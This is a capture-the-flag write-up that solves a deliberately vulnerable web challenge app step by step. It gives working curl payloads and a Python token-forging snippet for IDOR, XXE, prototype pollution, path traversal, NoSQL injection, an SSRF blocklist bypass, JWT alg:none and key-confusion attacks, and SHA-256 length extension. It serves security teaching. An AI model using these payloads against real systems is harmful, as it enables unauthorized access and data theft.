CTF writeup Web - Insane

By TheCyberWish · 5 min read

About the CTF: pinaka ctf

At first, this challenge looked like a normal fighting game. However, the story gave two important hints: ask the deathless crow for his map, and look past the mask. This suggeste…

CTF writeup Web - Insane

kakbhusndi - 29 th Write-up

Category: Web / Crypto

Difficulty: Insane

URL: https://kush-astra-yuddha.vercel.app/

Introduction

At first, this challenge looked like a normal fighting game. However, the story gave two important hints: ask the deathless crow for his map, and look past the mask. This suggested that the real challenge was hidden in the web application's API, not in the game itself.

I opened the browser network tab and requested /api/universe:


curl -s https://kush-astra-yuddha.vercel.app/api/universe | jq

The response listed nine shrines and a final gate. Each shrine contained one khanda, a fragment needed to open the final gate.

The plan was simple:

  1. Find one khanda from each of the nine shrines.
  2. Forge the required JWT for the final endpoint.
  3. Send the forged token and all nine khandas to /api/flag.

Khanda 1 — Tataka: IDOR / off-by-one

The /api/katha endpoint said that the readable IDs started at 1. The riddle mentioned something swallowed before the first item, so I tried ID 0.


curl -s "https://kush-astra-yuddha.vercel.app/api/katha?id=0"

The hidden entry returned the first khanda:

9dd32532e232

Khanda 2 — Subahu: XXE

The /api/homa endpoint accepted XML. Its hint said that the fire would read any entity I named and mentioned agni-khanda.scroll. That pointed to an XML External Entity attack.

I declared an external entity pointing to the scroll and placed the entity inside the XML body:


curl -s -X POST https://kush-astra-yuddha.vercel.app/api/homa \
  -H "Content-Type: application/xml" \
  --data-binary '<?xml version="1.0"?>
<!DOCTYPE yagna [<!ENTITY xxe SYSTEM "agni-khanda.scroll">]>
<yagna><oblation>&xxe;</oblation></yagna>'

The server read the file and returned:

2a486756ef52

Khanda 3 — Maricha: prototype pollution

The /api/maya endpoint merged JSON into an object, but then checked a fresh object instead of the object I sent. The hint said the fresh vessel needed darshan: "rishi".

I used _proto_ to add darshan: "rishi" to the prototype. As a result, new objects inherited that property.


curl -s -X POST https://kush-astra-yuddha.vercel.app/api/maya \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"darshan":"rishi"}}'

This returned:

2aa95abc0363

Khanda 4 — Viradha: path traversal

The /api/patra endpoint displayed scrolls from a folder. The riddle said that the wanted scroll was buried one level below the visible folder. That suggested path traversal using ../.

After testing the folder layout, I found the hidden scroll inside the sealed directory:


curl -s "https://kush-astra-yuddha.vercel.app/api/patra?scroll=../sealed/prithvi-khanda.scroll"

The response gave me:

89555a4458ab

Khanda 5 — Khara: NoSQL injection

The /api/dwar endpoint expected a name and a secret pass-phrase. The hint said the gate compared the pass-phrase loosely. That suggested a NoSQL operator injection.

Instead of sending a normal string, I sent $ne, meaning “not equal to.” This made the check succeed without knowing the real pass-phrase.


curl -s -X POST https://kush-astra-yuddha.vercel.app/api/dwar \
  -H "Content-Type: application/json" \
  -d '{"naam":"dwarpal","mudra":{"$ne":"x"}}'

The fifth khanda was:

eb072559af0c

Khanda 6 — Kabandha: SSRF and filter bypass

The /api/bhuja endpoint fetched a URL from the server. This is a Server-Side Request Forgery vulnerability.

The internal endpoint /api/garbha only trusted requests coming from inside the application, but the endpoint blocked the word garbha. I bypassed the simple blocklist by URL-encoding the letter g as %67.


curl -s "https://kush-astra-yuddha.vercel.app/api/bhuja?reach=https://kush-astra-yuddha.vercel.app/api/%67arbha"

The server decoded the URL, made the internal request, and returned:

1fc356c2c1ef

Khanda 7 — Akshayakumara: JWT alg:none

The /api/mudra endpoint checked a JWT. The problem was that it trusted the algorithm specified inside the token itself.

I created a token with:


{"alg":"none","typ":"JWT"}

and changed the payload to:


{"rank":"senapati"}

Because the algorithm was none, the token had an empty signature. The endpoint still accepted it.


curl -s -X POST https://kush-astra-yuddha.vercel.app/api/mudra \
  -H "Content-Type: application/json" \
  -d '{"token":"<alg:none token>"}'

The response returned:

cc143a62233e

Khanda 8 — Kumbhakarna: weak HMAC secret

The /api/parvat endpoint gave me an HS256 JWT. The hint said the key was a short, common five-letter island. The obvious guess was lanka.

I verified that lanka was the signing key, then created a new token with woke: true and rank: deva:


import jwt

token = jwt.encode(
    {"rank": "deva", "woke": True},
    "lanka",
    algorithm="HS256"
)

I sent that token back to /api/parvat.

The mountain woke up and returned:

c5655016d2f2

Khanda 9 — Meghnad: SHA-256 length extension

The final shrine used a MAC in this format:


SHA256(secret + message)

This is unsafe because SHA-256 supports a length-extension attack. The endpoint gave me the original message, the MAC, and the length of the secret. I used those values to continue hashing from the existing hash state.

I appended:


&rank=trikaldarshi

The parser used the last rank value, so the new message was accepted without knowing the secret.

The ninth khanda was:

475b91ac0d1a

All nine khandas


1. 9dd32532e232
2. 2a486756ef52
3. 2aa95abc0363
4. 89555a4458ab
5. eb072559af0c
6. 1fc356c2c1ef
7. cc143a62233e
8. c5655016d2f2
9. 475b91ac0d1a

Final gate — Ravana: RSA-to-HMAC confusion

The final endpoint required a JWT with:


{
  "drishti": "kakbhushundi",
  "brahmand": "swarna-lanka"
}

The server normally issued an RS256 token. RS256 uses an RSA private key to sign and a public key to verify. However, the verifier trusted the algorithm supplied in the JWT header.

I collected several valid RS256 tokens and used their signatures to recover the RSA modulus. Once I had the public key, I created a new JWT using HS256 and used the RSA public key itself as the HMAC secret.

This worked because the server used the same public key while verifying the forged token.

My first request showed that the token was accepted but all khandas were missing. That error revealed an important detail: the khandas were not supposed to be inside the JWT. They had to be sent separately in the POST body.


curl -s -X POST https://kush-astra-yuddha.vercel.app/api/flag \
  -H "Content-Type: application/json" \
  -d '{
    "token":"<forged HS256 token>",
    "khandas":[
      "9dd32532e232","2a486756ef52","2aa95abc0363",
      "89555a4458ab","eb072559af0c","1fc356c2c1ef",
      "cc143a62233e","c5655016d2f2","475b91ac0d1a"
    ]
  }'

The server accepted the token and all nine khandas.

Flag


Flag{Kush_Br4hm4str4_D4sh4n4n_V4dh_a8f21177cd57037b11961d87}

Vulnerability summary

| Shrine | Vulnerability | Khanda |

|---|---|---|

| Tataka | IDOR / off-by-one | 9dd32532e232 |

| Subahu | XXE | 2a486756ef52 |

| Maricha | Prototype pollution | 2aa95abc0363 |

| Viradha | Path traversal | 89555a4458ab |

| Khara | NoSQL injection | eb072559af0c |

| Kabandha | SSRF and filter bypass | 1fc356c2c1ef |

| Akshayakumara | JWT alg:none | cc143a62233e |

| Kumbhakarna | Weak HMAC key | c5655016d2f2 |

| Meghnad | SHA-256 length extension | 475b91ac0d1a |

| Ravana | RSA recovery and RS256/HS256 confusion | Final gate |

Read this post on CyberHx →